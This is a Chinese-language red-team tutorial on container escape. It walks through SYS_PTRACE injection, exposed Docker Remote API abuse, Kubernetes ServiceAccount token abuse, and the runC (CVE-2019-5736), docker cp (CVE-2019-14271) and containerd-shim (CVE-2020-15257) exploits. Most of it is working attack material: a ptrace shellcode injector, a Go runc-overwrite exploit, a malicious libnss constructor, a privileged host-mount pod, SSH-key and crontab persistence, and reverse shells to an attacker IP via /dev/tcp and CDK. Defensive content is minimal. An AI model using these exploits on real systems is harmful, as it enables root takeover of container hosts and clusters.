python3 -c "cap_eff = 0x<你的CapEff值>; print('Yes' if cap_eff & (1 << 19) else 'No')"
-
输出 Yes 即代表拥有该权限。
3. 如何实现 SYS_PTRACE 进程注入逃逸?
核心逻辑:
既然我有权控制别人的灵魂(SYS_PTRACE),如果我能看到宿主机的进程(PID=host),我就把我的恶意代码注入到宿主机的某个高权限进程(比如 dockerd, containerd, 或者 sshd)里去执行。
实战步骤演示
第一步:侦察(寻找宿主机目标)
在容器内查看进程列表:
ps -ef
-
如果你能看到很多非容器内的进程(比如
systemd(PID 1),dockerd,sshd等),说明满足了 PID 共享 条件。 -
选一个拥有 Root 权限的宿主机进程作为目标(Victim),假设其 PID 为
1234。
第二步:准备 Shellcode(恶意载荷)
你需要一段能反弹 Shell 的二进制代码。也可以直接利用 Python 的 ctypes 库调用系统 API 进行注入(这样不用编译 C 代码)。
这是一个简化的 Python 注入逻辑(伪代码,仅供教学):
import ctypes
import sys
# 1. 定义系统调用常量
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4 # 往内存写数据
PTRACE_GETREGS = 12 # 获取寄存器
PTRACE_SETREGS = 13 # 修改寄存器
# 2. 目标 PID (宿主机进程)
pid = int(sys.argv[1])
# 3. 附身 (Attach)
libc = ctypes.CDLL(None)
libc.ptrace(PTRACE_ATTACH, pid, 0, 0)
print(f"Attached to PID {pid}")
# 4. 注入 Shellcode
# 这里的 shellcode 通常是汇编生成的二进制,功能是运行 /bin/bash 反弹
shellcode = b"\x48\x31\xc0..."
# 获取当前指令指针 (RIP)
regs = get_registers(pid)
original_rip = regs.rip
# 将 Shellcode 写入 RIP 指向的内存位置
for i in range(0, len(shellcode), 8):
data = int.from_bytes(shellcode[i:i+8], 'little')
libc.ptrace(PTRACE_POKETEXT, pid, original_rip + i, 0, data)
# 5. 恢复运行 (Detach)
# 目标进程醒来后,会先执行我们刚才覆盖在 RIP 位置的 Shellcode
libc.ptrace(PTRACE_DETACH, pid, 0, 0)
print("Code injected. Check your listener.")
第三步:执行注入
# 假设你的 python 脚本叫 inject.py,目标宿主机进程 PID 是 1234
python3 inject.py 1234
后果:
目标进程(宿主机的进程)会暂停,被写入恶意代码,然后恢复运行。一旦恢复,它就会执行那段代码(通常是反弹 Shell 到你的攻击机)。
因为该进程本身运行在宿主机上,所以你得到的 Shell 就是宿主机的 Root Shell。
4. 容器逃逸的前提条件(缺一不可)
光有 SYS_PTRACE 是不够的,必须同时满足以下 3 个条件 才能实现逃逸:
条件 1:拥有 SYS_PTRACE 权限
-
原因 :这是"枪"。没有它,你无法调用
ptrace系统调用,也就无法读写其他进程的内存。 -
启动参数 :
--cap-add=SYS_PTRACE或--privileged。
条件 2:共享 PID 命名空间 (--pid=host)
-
原因:这是"视野"。
-
如果不共享 PID:容器内的 PID 1 是容器自己。你只能看到容器里的进程。你注入自己容器里的进程,依然被关在容器里,没有任何意义。
-
如果共享 PID :容器和宿主机共用一套 PID 树。你在容器里能看到宿主机的
systemd、sshd等进程。只有看到了它们,你才能把它们当作注入目标。
-
条件 3:以 Root 用户运行 (或拥有 CAP_SYS_PTRACE)
-
原因:这是"扳机"。
-
Linux 规定,你只能调试属于你自己的进程,或者你是 Root。
-
宿主机上的关键进程(如
sshd)通常是 Root 运行的。如果你在容器里是普通用户(User 1000),即使有SYS_PTRACE,你也无法 Attach 到 Root 进程上(权限不足)。
-
总结
SYS_PTRACE 逃逸是一个典型的 "跨维度攻击"。
-
维度 1 (权限) :你拿到了调试权限 (
SYS_PTRACE)。 -
维度 2 (视野) :你打破了 PID 隔离 (
--pid=host),看到了宿主机。 -
动作:你强行把宿主机的进程变成了你的傀儡。
防御建议:
永远不要在生产环境中同时开启 --cap-add=SYS_PTRACE 和 --pid=host。如果必须调试,请使用专门的调试容器(Ephemeral Containers)或限制目标范围。
SYS_PTRACE 进程注入相关案例请见:
6、docker remote api未授权访问
1. 什么是 Docker Remote API 未授权访问?
Docker 的架构采用 C/S 模式,docker daemon 是服务端,docker client 是客户端。默认情况下,守护进程监听在 Unix Socket (unix:///var/run/docker.sock) 上,仅允许本地 root 用户访问。
为了实现集群管理或远程控制,运维人员有时会将 Docker 守护进程监听在 TCP 端口 (通常是 2375 端口)上。如果配置不当,即没有开启 TLS 加密认证(HTTPS)且将端口暴露在公网或非受信网络中,攻击者就可以通过该端口直接向 Docker Daemon 发送指令。
危害本质:
拥有 Docker Remote API 的控制权 = 拥有宿主机的 Root 权限。
因为攻击者可以利用 API 创建一个挂载了宿主机根目录(/)的特权容器,从而直接读写宿主机文件。
2. 利用 Docker Remote API 实现容器逃逸/接管宿主机流程
以下是从漏洞验证到完成逃逸(获取宿主机权限)的完整攻击链。
场景假设:
-
攻击者处于网络中,扫描发现了目标机器开放了 2375 端口。
-
或者,攻击者已经通过 Webshell 拿下了一个容器,发现该容器可以访问宿主机的 2375 端口(内网横向)。
第一阶段:漏洞发现与验证 (Verification)
攻击者首先需要确认目标 IP 的 Docker API 是否存在且未授权。
验证方式 1:使用 curl (无 Docker 客户端环境)
# 访问 version 接口,如果返回 JSON 格式的版本信息,说明漏洞存在
curl http://<TARGET_IP>:2375/version
验证方式 2:使用 docker 客户端 (有 Docker 环境)
# -H 指定远程目标
docker -H tcp://<TARGET_IP>:2375 version
判定标准:如果无需认证即可查看到 Docker 版本信息,漏洞验证成功。
第二阶段:信息收集 (Reconnaissance)
在创建恶意容器之前,需要查看目标机器上现有哪些镜像,以便利用现有资源,避免下载新镜像触发网络告警。
# 列出目标机器上的镜像
docker -H tcp://<TARGET_IP>:2375 images
-
如果目标没有镜像,可以尝试拉取一个小体积镜像(如 alpine 或 busybox):
docker -H tcp://<TARGET_IP>:2375 pull alpine
第三阶段:实施逃逸/提权 (Exploitation)
这是攻击的核心步骤。通过 API 启动一个新容器,并将宿主机的根目录挂载到容器内部,从而突破隔离。
核心命令(挂载宿主机根目录):
# 解释:
# -H ... : 连接远程 Docker
# run -it : 交互式运行
# -v /:/mnt : 【关键】将宿主机的根目录(/)挂载到容器的 /mnt 目录
# alpine : 使用的镜像名
# /bin/sh : 启动后执行的 shell
docker -H tcp://<TARGET_IP>:2375 run -it -v /:/mnt alpine /bin/sh
此时的状态:
你现在的 Shell 位于新创建的容器内,但是 /mnt 目录就是宿主机的真实根目录。你可以任意读写宿主机的文件。
第四阶段:获取宿主机 Shell (Post-Exploitation)
为了获得持久化的宿主机控制权(而不只是通过 docker 访问),通常采用以下两种方式:
方案 A:写入 SSH 公钥 (最常用)
-
攻击者本地 生成 SSH 密钥对:
ssh-keygen -t rsa。 -
在恶意容器内,将公钥写入宿主机的 SSH 授权文件:
# 容器内执行 echo "你的ssh-rsa公钥内容..." >> /mnt/root/.ssh/authorized_keys -
连接 :
ssh root@<TARGET_IP>直接登录宿主机。
方案 B:写入 Crontab 计划任务 (反弹 Shell)
如果 SSH 端口没开或有防火墙,可以利用计划任务反弹 Shell。
# 在容器内执行,向宿主机的 crontab 写入反弹脚本
# 注意:路径是 /mnt/var/spool/cron/... 或者 /mnt/etc/crontab
echo '* * * * * root /bin/bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1' >> /mnt/var/spool/cron/root
等待一分钟,宿主机就会自动反弹 Shell 给攻击者。
攻击流程总结
-
扫描:发现 2375 端口。
-
验证 :
curl /info或docker -H确认未授权。 -
启动 :
docker run -v /:/mnt启动特权容器挂载宿主机根目录。 -
写入 :修改
/mnt/root/.ssh/authorized_keys或 Crontab。 -
接管:SSH 登录或接收反弹 Shell,完成对宿主机的控制。
相关文档见:
7、Kubernetes API 滥用
这种逃逸方式利用了 Kubernetes RBAC(基于角色的访问控制)配置错误 。当一个 Pod 被赋予了过高的权限(例如 cluster-admin 或 create pods 权限),攻击者可以利用该 Pod 内置的 ServiceAccount Token 与 K8s API Server 交互,创建一个挂载了宿主机根目录的"特权 Pod",从而接管整个节点。
1. 什么是 Kubernetes API 滥用?
在 K8s 集群中,每个 Pod 默认都会挂载一个 ServiceAccount (SA)。这个 SA 包含:
-
Token :
/var/run/secrets/kubernetes.io/serviceaccount/token -
CA 证书 :
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
核心问题 :如果管理员在配置 RBAC 时过于宽通过(Over-privileged),例如将 system:masters 组绑定到了某个 SA,或者允许该 SA 执行 create pods、create daemonsets 等操作。
攻击路径:
攻击者入侵了一个普通业务 Pod -> 发现该 Pod 的 Token 权限过高 -> 利用 Token 访问 API Server -> 请求创建一个恶意特权 Pod -> 逃逸到宿主机。
2. 攻击流程完整复现 (Red Team 视角)
假设我们已经通过 Web 漏洞(如 RCE)获取了某个 Pod 的 Shell 权限。
第一阶段:信息收集与凭证发现 (Discovery)
首先检查当前 Pod 是否有 K8s 凭证。
# 1. 查看挂载的 Secret
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# 2. 读取 Token (这是访问 API 的钥匙)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# 3. 确定 API Server 地址 (通常通过环境变量获取)
env | grep KUBERNETES_SERVICE
# 或者直接尝试默认地址: https://kubernetes.default.svc
第二阶段:权限验证 (Verification)
在没有安装 kubectl 的容器里,我们可以下载一个静态编译的 kubectl,或者使用 curl 来验证权限。
方式 A:使用 kubectl (如果能下载)
# 下载 kubectl
curl -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl
chmod +x ./kubectl
# 验证权限:我能创建 Pod 吗?
./kubectl auth can-i create pods --token=$TOKEN --server=https://kubernetes.default.svc --insecure-skip-tls-verify
# 如果返回 "yes",则游戏结束,你可以逃逸。
方式 B:使用 curl (无 kubectl 环境)
利用 SelfSubjectAccessReview API 查询权限:
curl -k -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-d '{"spec":{"resourceAttributes":{"verb":"create","resource":"pods","namespace":"default"}}}'
如果响应中有 "allowed": true,说明有权限。
第三阶段:构建恶意 Payload (Weaponization)
我们需要创建一个 JSON 或 YAML 配置文件,描述一个特权 Pod。这个 Pod 的核心特征是:
-
privileged: true:特权模式。 -
hostPID: true:共享宿主机进程命名空间。 -
hostNetwork: true:共享宿主机网络。 -
volumeMounts:将宿主机的根目录/挂载到容器内的/host。
evil-pod.json 内容示例:
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "attacker-pod",
"namespace": "default"
},
"spec": {
"hostNetwork": true,
"hostPID": true,
"containers": [
{
"name": "shell",
"image": "alpine",
"command": [ "nsenter", "--mount=/proc/1/ns/mnt", "--", "/bin/bash" ],
"securityContext": {
"privileged": true
},
"volumeMounts": [
{
"mountPath": "/host",
"name": "host-root"
}
]
}
],
"volumes": [
{
"name": "host-root",
"hostPath": {
"path": "/",
"type": "Directory"
}
}
]
}
}
注:这里的 nsenter 命令是一个高级技巧,它会让 Pod 启动后直接切换进入宿主机的 Mount Namespace,相当于直接给了你一个宿主机的 Shell。
第四阶段:实施攻击 (Exploitation)
通过 API Server 创建这个恶意 Pod。
# 使用 curl 发送 POST 请求创建 Pod
curl -k -v -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
https://kubernetes.default.svc/api/v1/namespaces/default/pods \
-d @evil-pod.json
或者使用 kubectl:
./kubectl apply -f evil-pod.json --token=$TOKEN --server=https://kubernetes.default.svc --insecure-skip-tls-verify
第五阶段:完成逃逸 (Breakout)
一旦 Pod 创建成功(Status: Running),你需要进入这个新 Pod。
-
如果你有 exec 权限:
./kubectl exec -it attacker-pod --token=$TOKEN --server=... -- /bin/bash因为我们在 command 里写了
nsenter,进入后你已经是宿主机的 Root 了。 -
如果你没有 exec 权限,但 Pod 已经运行:
如果你配置了反弹 Shell 的 CMD,此时你的攻击机已经收到了宿主机的 Shell。
或者,因为我们挂载了 /host,你可以直接修改宿主机的 /host/root/.ssh/authorized_keys 或者 /host/etc/crontab 来获取持久化访问。
攻击链总结
-
Compromise: 入侵普通 Pod。
-
Enum : 发现
/run/secrets/.../token。 -
Check : 验证 Token 拥有
create pods权限。 -
Inject: 请求 API 创建挂载宿主机根目录的特权 Pod。
-
Escape: 通过特权 Pod 修改宿主机文件或直接获得宿主机 Shell。
相关文档:
(Docker/K8s 软件组件漏洞)
1、runC 漏洞(CVE‑2019‑5736)
runC 漏洞(CVE-2019-5736)是容器安全历史上最著名的逃逸漏洞之一,因为它直接击穿了容器运行时(Runtime),导致宿主机的 runc 二进制文件被恶意篡改。
一旦攻击成功,整个宿主机上所有后续启动的容器(以及宿主机本身)都将由攻击者的恶意代码控制。
1. 漏洞核心原理:runC 是一把双刃剑
-
runC 是什么? 它是 Docker、Kubernetes 底层用来创建和运行容器的 CLI 工具。
-
漏洞点: 当宿主机执行
docker exec进入容器时,宿主机的runc进程会再次启动并加入到容器的命名空间中。 -
利用逻辑:
-
攻击者诱导管理员对恶意容器执行
docker exec。 -
恶意容器内的进程利用
/proc/self/exe指向宿主机runc程序的特性。 -
攻击者通过持有这个文件描述符(File Descriptor),强行覆盖宿主机的
/usr/bin/runc二进制文件。 -
下次宿主机再运行任何容器命令(调用 runC)时,执行的就是攻击者的代码。
-
2. 攻击前提条件 (Prerequisites)
在开始演练前,必须确保目标环境满足以下条件:
-
Docker 版本:< 18.09.2(或者 runC 版本 < 1.0-rc6)。
-
权限 :攻击者在容器内拥有 Root 权限(默认 Docker 容器即为 Root)。
-
交互 :需要宿主机管理员(Victim)对该容器执行一次命令(如
docker exec)。
3. 详细攻击方案 (Red Team Guide)
我们将分为两个角色:攻击者 (Attacker) 在容器内,受害者 (Victim) 在宿主机。
第一阶段:漏洞验证 (Reconnaissance)
攻击者首先需要确认自己是否在容器内,以及是否有写入权限。
Attacker (容器内 Shell):
# 1. 确认当前身份是 Root
id
# 输出必须包含: uid=0(root) gid=0(root)
# 2. 确认文件系统可写
touch /test_write && rm /test_write
# 如果没有报错,说明具有基本的写入权限
第二阶段:构建武器 (Weaponization)
由于利用涉及对文件描述符的精细操作,Shell 脚本很难稳定实现(涉及竞争条件和二进制覆盖),标准的攻击载荷通常是用 Go 语言 编写的。
我们需要在容器内编译一个恶意程序,将其伪装成容器内的 /bin/sh 或 /bin/bash。
Attacker (容器内):
如果你容器里没有 Go 环境,可以在本地编译好上传,或者直接在容器里安装(如果联网):
# 安装 Go (如果容器是 Debian/Ubuntu)
apt-get update && apt-get install -y golang-go
编写攻击代码 main.go (这是简化的核心利用代码,用于教学演示):
package main
// 引入必要的包
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
// 这是我们想在宿主机上执行的恶意 Payload
// 这里演示:反弹 Shell 到 192.168.1.100:4444,或者简单的写文件
var payload = "#!/bin/bash \n echo '[!] YOU HAVE BEEN PWNED BY CVE-2019-5736' > /pwned_host.txt \n /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"
func main() {
// 步骤 1: 打开 /proc/self/exe
// 在容器内执行时,/proc/self/exe 指向的是容器内的这个程序本身
// 但是,当宿主机通过 runC exec 进来时,runC 进程会在容器命名空间内
// 此时攻击者可以通过遍历 /proc/[pid]/exe 找到指向宿主机 runC 的文件描述符
fd, err := os.Open("/proc/self/exe")
if err != nil {
fmt.Println(err)
return
}
defer fd.Close()
// 步骤 2: 这里的逻辑是:我们把自己伪装成 /bin/sh
// 当管理员执行 docker exec -it <id> /bin/sh 时,实际上运行的是我们
// 此时我们需要找到宿主机 runC 的句柄。
// 在 exploit 运行时,runC 进程尚未完全退出,或者我们可以利用 /proc/self/exe 的引用
var found int
for i := 0; i < 10000; i++ {
// 尝试寻找 runC 的 PID。这通常是一个竞争条件的利用。
// 为了简化演示,标准的 PoC 利用了 libseccomp 的特性或者直接循环等待写入
// 此处代码为伪代码逻辑,展示核心思路:
// 实际上是试图以写模式打开 /proc/self/fd/... 指向 runC 的句柄
}
// ----------- 真正的利用逻辑通常如下 (使用现成的 PoC 二进制更稳定) -----------
// 由于代码较长,建议使用 GitHub 上公开的成熟 PoC,例如 Frichetten/CVE-2019-5736-PoC
// 下面演示如何下载和编译它
}
为了确保复现成功,我们直接使用社区验证过的利用脚本逻辑。请在容器内执行以下命令:
# 1. 下载成熟的 PoC 代码 (这里假设容器联网,或者你复制进去)
# 代码来源参考:https://github.com/Frichetten/CVE-2019-5736-PoC
cat <<EOF > main.go
package main
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
var payload = "#!/bin/bash \n echo '[!!!] 宿主机 runC 已被篡改,逃逸成功!' > /tmp/hacked_by_runc \n cp /bin/bash /tmp/backdoor && chmod +s /tmp/backdoor"
func main() {
fmt.Println("[*] 等待 runC 进程启动...")
// 循环监听 /proc 目录,寻找 runC 进程
for {
d, _ := os.Open("/proc")
fi, _ := d.Readdir(-1)
for _, f := range fi {
// 这是一个简化的探测逻辑
if f.IsDir() {
if _, err := strconv.Atoi(f.Name()); err == nil {
if cmdline, err := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline"); err == nil {
if strings.Contains(string(cmdline), "runc") {
fmt.Println("[+] 发现 runC 进程 PID:", f.Name())
pwn(f.Name())
return
}
}
}
}
}
d.Close()
}
}
func pwn(pid string) {
path := "/proc/" + pid + "/exe"
// 尝试打开宿主机 runC 的二进制文件句柄
// 这里利用了竞争条件:反复尝试打开直到 runC 不再报 "Text file busy"
for {
fd, err := os.OpenFile(path, os.O_RDWR|os.O_TRUNC, 0700)
if err == nil {
fmt.Println("[+] 成功获取 runC 文件句柄,开始覆盖...")
fd.Write([]byte(payload))
fmt.Println("[!] 恶意 Payload 写入完成!runC 已被替换。")
fd.Close()
return
}
}
}
EOF
# 2. 编译武器
go build -o exploit main.go
# 3. 设下陷阱
# 我们将编译好的 exploit 覆盖容器内的 /bin/sh 或 /bin/bash
# 这样当管理员尝试 "docker exec /bin/bash" 时,就会触发 exploit
mv /bin/bash /bin/bash_backup
mv exploit /bin/bash
# 4. 给予执行权限
chmod +x /bin/bash
echo "[*] 陷阱已部署。等待管理员执行 docker exec..."
第三阶段:触发攻击 (Trigger)
现在,攻击者在容器里静静等待。视角切换到宿主机管理员 (Victim)。
管理员发现这个容器有点异常(或者只是例行检查),于是决定进入容器看看。
Victim (宿主机):
# 管理员执行进入容器的命令
# 假设容器 ID 为 container_id
docker exec -it <container_id> /bin/bash
此时发生的瞬间:
-
宿主机
docker调用runc。 -
runc启动并加入容器命名空间。 -
runc试图在容器内执行/bin/bash。 -
但
/bin/bash已经被我们替换成了exploit。 -
exploit运行,迅速找到宿主机runc进程的 PID。 -
exploit通过/proc/[runc_pid]/exe获取宿主机runc二进制文件的写权限。 -
exploit将恶意的 Shell 脚本覆盖写入宿主机的/usr/bin/runc。 -
管理员可能会看到命令卡住或者报错,但此时宿主机的 runC 已经被替换了。
第四阶段:完成逃逸 (Breakout)
虽然 docker exec 那一下可能失败了,但炸弹已经埋下。下次宿主机上的任何 Docker 操作(只要调用 runC),都会执行我们的恶意 Payload。
Victim (宿主机再次操作):
# 管理员尝试再次启动一个正常的容器,或者只要系统有自动任务启动容器
docker run -it alpine echo "hello"
结果:
-
原本的
runc功能失效(或者被我们植入了恶意逻辑后继续执行)。 -
我们的 Payload 被执行:
-
宿主机
/tmp/hacked_by_runc文件出现。 -
宿主机
/tmp/backdoor(suid root shell) 被创建。
-
Attacker (验证逃逸):
如果你在 Payload 里写了反弹 Shell,此时你的监听端口应该已经收到了来自宿主机 Root 权限的连接。
详细攻击流程见:
https://mp.weixin.qq.com/s/CEb4nYwZOKBb2nEQ8dcCeQ
https://mp.weixin.qq.com/s/rWbwS3C9w4vLVL-ts6vM-w?poc_token=HDGQWGmjgqCX6czIUMjNuik6D9RV7iqzaBYM7AVF
2、 docker cp 符号链接漏洞(CVE‑2019‑14271)
1. 漏洞背景:CVE-2019-14271 是什么?
-
漏洞本质:逻辑缺陷(Logic Flaw)。
-
受影响版本:Docker 19.03.0 (后续版本 19.03.1 已修复)。
-
核心机制:
当用户执行 docker cp 命令试图将文件从容器复制到宿主机时,Docker 实际上会启动一个辅助进程 docker-tar。
为了能访问容器内的文件,docker-tar 会利用 setns() 系统调用,进入目标容器的命名空间(Namespaces)。
-
漏洞点:
docker-tar 虽然进入了容器的命名空间,但它本身是从宿主机启动的二进制文件。在它运行过程中,会加载一些动态链接库(如 libnss_files.so 用于解析用户/组信息)。
问题在于:由于 docker-tar 已经切换到了容器的挂载命名空间(Mount Namespace),当它尝试加载这些库时,它加载的是容器内部的 /lib 下的动态链接库,而不是宿主机的。
如果攻击者替换了容器内的 libnss_files.so,当管理员在宿主机执行 docker cp 时,docker-tar 就会加载恶意库,并以宿主机进程的权限(通常是 Root)执行恶意代码。
2. 攻击方案制定(红队视角)
目标:利用 docker cp 触发机制,逃逸出容器并在宿主机执行任意命令。
前提条件:
-
目标环境正在运行有漏洞的 Docker 版本 (19.03.0)。
-
攻击者已经拥有容器内的 Root 权限(需要修改系统库文件)。
-
被动触发 :攻击者无法主动触发,必须等待管理员或自动化脚本执行
docker cp命令将文件从该容器拷出。
步骤一:环境确认与目标锁定
首先,攻击者需要在容器内确认系统使用了哪个 NSS 库。通常是 libnss_files.so.2。
# 在容器内查看该文件位置
find / -name "libnss_files.so.2"
# 输出通常是 /lib/x86_64-linux-gnu/libnss_files.so.2 或 /usr/lib64/...
步骤二:构建恶意 Payload (C语言)
我们需要编写一个恶意共享对象(Shared Object),利用 __attribute__((constructor)) 让代码在库被加载时自动执行。
创建一个名为 exploit.c 的文件:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// 这是一个构造函数,当动态库被加载时会自动执行
__attribute__((constructor)) void run_at_link_time() {
// 检查是否是被 docker-tar 加载的
// 因为这会替换系统库,容器内的其他进程也可能加载它,我们需要避免误伤
// 这里简单演示,实际攻击中会判断 /proc/self/exe 是否包含 docker-tar
// 此时我们要执行逃逸操作。
// 由于 docker-tar 运行在宿主机的 PID 命名空间中(虽然它进入了容器的 Mount 命名空间),
// 我们可以利用 /proc 文件系统来访问宿主机资源。
// 这是一个典型的逃逸 Payload:从容器打破隔离,在宿主机创建反弹 Shell 或后门
// 下面的命令尝试在宿主机的文件系统中写入文件(因为 docker-tar 具有高权限)
// 注意:docker-tar 虽然在容器的 Mount Namespace,但它能看到整个宿主机的 Procfs。
// 我们可以通过 /proc/1/root 访问宿主机的根目录。
system("echo '[!] You have been Pwned via docker-cp!' > /breakout_proof.txt");
// 真正的逃逸通常是反弹 Shell:
// system("bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'");
}
步骤三:编译并替换系统库
在容器内执行编译(如果没有 GCC,可以在本地编译好后上传进去):
# 编译为共享库
gcc -shared -fPIC -o malicious_lib.so exploit.c
# 备份原始库(可选,为了隐蔽性)
cp /lib/x86_64-linux-gnu/libnss_files.so.2 /lib/x86_64-linux-gnu/libnss_files.so.2.bak
# 用恶意库覆盖系统库
# 这一步非常关键,覆盖后,任何尝试解析用户信息的命令都可能触发(如 ls -l),
# 但我们的目标是高权限的 docker-tar
mv malicious_lib.so /lib/x86_64-linux-gnu/libnss_files.so.2
步骤四:设置更高级的逃逸逻辑 (Breakout Script)
上面的 C 代码比较简单。为了实现更稳定的逃逸,高级攻击者通常会编写一个脚本,让 C 代码去执行这个脚本。脚本逻辑如下:
-
挂载宿主机的 Procfs(如果未挂载)。
-
利用
docker-tar处于宿主机 PID Namespace 的特性,通过/proc/1/root访问宿主机文件系统。 -
向宿主机写入 SSH Key 或 Cron Job。
恶意脚本 /breakout.sh 内容示例:
#!/bin/sh
# 这里的路径是相对于 docker-tar 的视角的
# docker-tar 此时可以看到 /proc (宿主机的进程)
# 利用 /proc/1/root 我们可以直接写宿主机文件
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'" >> /proc/1/root/etc/crontab
修改 C 代码以调用此脚本:
__attribute__((constructor)) void run_at_link_time() {
system("/breakout.sh");
}
步骤五:等待触发(钓鱼)
攻击者在容器内布置好陷阱后,需要静默等待。
触发场景通常是:运维人员发现容器异常,想把日志或文件拷出来分析:
# 运维人员在宿主机执行:
docker cp malicious_container:/var/log/app.log ./
瞬间发生的事情:
-
宿主机 Docker 进程启动
docker-tar。 -
docker-tar进入容器命名空间。 -
docker-tar为了处理文件权限,调用 NSS 相关函数(如getpwuid)。 -
加载容器内的
/lib/x86_64-linux-gnu/libnss_files.so.2。 -
恶意构造函数执行。
-
/breakout.sh被执行,向宿主机/etc/crontab写入反弹 Shell。 -
宿主机 Crond 服务执行反弹 Shell。
-
逃逸成功。
3、containerd‑shim 漏洞(CVE‑2020‑15257)
这是一个针对 containerd 组件的高危逻辑漏洞。与之前的 CVE-2019-14271(Docker cp)不同,CVE-2020-15257 不需要管理员交互,只要你的容器配置了 host 网络模式,你就可以主动出击,直接获得宿主机 Root 权限。
1. 漏洞核心原理:隔墙有耳(CVE-2020-15257)
-
漏洞组件 :
containerd-shim。这是 containerd 用来管理容器生命周期(启动、停止、IO处理)的垫片进程。 -
根本原因:
-
containerd-shim会监听一个 Unix 域套接字 (Unix Domain Socket) 来接收 containerd 守护进程的指令。 -
在漏洞版本中,这个套接字是 Abstract Unix Domain Socket(抽象套接字)。
-
关键点 :抽象套接字不像文件系统套接字那样受路径权限限制,它完全由 网络命名空间 (Network Namespace) 隔离。
-
-
利用路径:
如果一个容器使用 --net=host(共享宿主机网络命名空间)启动,那么容器内部的进程就能"看到"并连接到宿主机上 containerd-shim 监听的这个抽象套接字。
一旦连接成功,攻击者就可以通过这个 API 调用,要求 containerd-shim(它以宿主机 Root 权限运行)执行任意命令。
2. 攻击前提条件 (Prerequisites)
在开始演练前,必须确认环境满足以下"三要素":
-
Containerd 版本:< 1.3.9 或 < 1.4.3。
-
网络模式 :容器必须以 Host Network 模式运行 (
--net=host)。- 注:在 K8s 中,很多组件(如 CNI 插件、kube-proxy、特定监控 Agent)默认就是 Host Network。
-
权限:容器内通常需要 Root (UID 0) 才能连接该 Socket。
3. 详细攻击方案 (Red Team Guide)
第一阶段:环境侦察与漏洞验证 (Reconnaissance)
攻击者进入容器后,首先要判断当前是否处于 Host Network,以及是否存在暴露的 socket。
具体 Shell 命令:
# 1. 判断是否共享了宿主机网络
# 如果看到的网卡非常多,且包含宿主机的物理网卡(如 eth0, bond0 等),IP 也是宿主机 IP,说明是 host 网络。
ip addr
# 2. 核心验证命令:寻找 containerd-shim 的抽象套接字
# /proc/net/unix 列出了当前网络命名空间下的所有 Unix 套接字
cat /proc/net/unix | grep 'containerd-shim'
结果分析:
如果你看到了类似下面的输出:
0000000000000000: 00000002 00000000 00010000 0001 01 15615 @/containerd-shim/m89...sock
-
注意那个
@符号 :在 Linux 中,以@开头的路径表示 Abstract Unix Domain Socket。 -
结论 :如果能在容器内
grep到这个带@的 socket,说明漏洞存在,通往宿主机的"后门"已开。
第二阶段:构建武器 (Weaponization)
由于 containerd-shim 使用的是 ttrpc (GRPC for low-memory environments) 协议,你不能简单地用 nc 或 curl 去连接它。你需要一个能够讲 ttrpc 协议的客户端工具。
在实战演练中,通常使用开源的容器渗透工具包 CDK (Container Default Kit),或者专门的 PoC 代码。
方案 A:使用 CDK(推荐,简单粗暴)
CDK 集成了该漏洞的一键利用功能。
-
下载工具(在容器内):
wget https://github.com/cdk-team/CDK/releases/download/v1.0.1/cdk_linux_amd64 chmod +x cdk_linux_amd64
方案 B:编译 Go 语言 PoC(如果你需要从源码演示)
如果环境无法下载工具,你需要提前编译好利用代码。核心逻辑是连接该 socket 并调用 Shim Service 的 API。
第三阶段:实施逃逸 (Exploitation)
我们将利用 containerd-shim 的 API 创建一个新的反弹 Shell 进程。这个新进程会由 shim 启动,因此它将拥有宿主机的 Root 权限及文件系统视图。
使用 CDK 进行攻击的具体命令:
假设我们在第一阶段找到的 socket 地址是 @/containerd-shim/123456.sock(注意命令中要把 @ 替换为 null byte,但 CDK 会自动处理,你通常不需要指定 socket,它会自动搜索)。
攻击命令:
# 自动探测并执行反弹 Shell
# 192.168.1.100 是攻击者接收 Shell 的机器 IP
./cdk_linux_amd64 run shim-pwn reverse 192.168.1.100 4444
或者,如果你只想在宿主机执行一条命令(如写文件):
./cdk_linux_amd64 run shim-pwn system "echo 'pwned by containerd-shim' > /root/hacked.txt"
第四阶段:攻击链原理深度解析 (Under the hood)
当你执行上述命令时,CDK 内部做了以下事情:
-
Connect : 连接到
@/containerd-shim/xxx.sock。 -
TTRPC Call : 发送一个
Create请求(这是 containerd 用于创建容器内进程的 API)。 -
Spoofing : 在
Create请求参数中,指定要运行的二进制文件为/bin/bash。 -
The Trick : 关键在于,虽然我们在调用 API,但
containerd-shim并没有严格校验调用者是否真的是 containerd 守护进程。 -
Execution :
containerd-shim接到指令,忠实地在宿主机上启动了/bin/bash,并将标准输入输出重定向回 socket,最终交到了攻击者手中。
详细操作见:
(Linux内核漏洞)
容器共享宿主机内核(与在虚拟机管理程序之上提供客户机内核的 VM 不同)。
这意味着宿主机内核中的任何漏洞都可能影响每个容器:内核漏洞可能成为容器逃逸,跨越命名空间和 capability 边界到达宿主机。
要突破 Docker 容器并在宿主机上执行代码,通常需要两个核心要素:
-
payload
------放置在容器文件系统内并准备由宿主机执行的二进制文件或脚本 (例如,反向 shell)。您必须知道从宿主机看到的该文件的_绝对路径_。
-
缺陷 (向量)
------可以被滥用的内核漏洞、错误配置或合法内核功能,以便容器内的进程导致宿主机内核(或特权宿主机进程) 执行该 payload。
为什么使用内核提权,因为Dcoker和宿主机是共享一个内核的,所以内核提权可以在Docker中实现提权的,但此处的提权仅限于在Docker内部,难道就不能实现docker逃逸了吗?可以,但是需要在特殊情况下!!!以下两种情况:
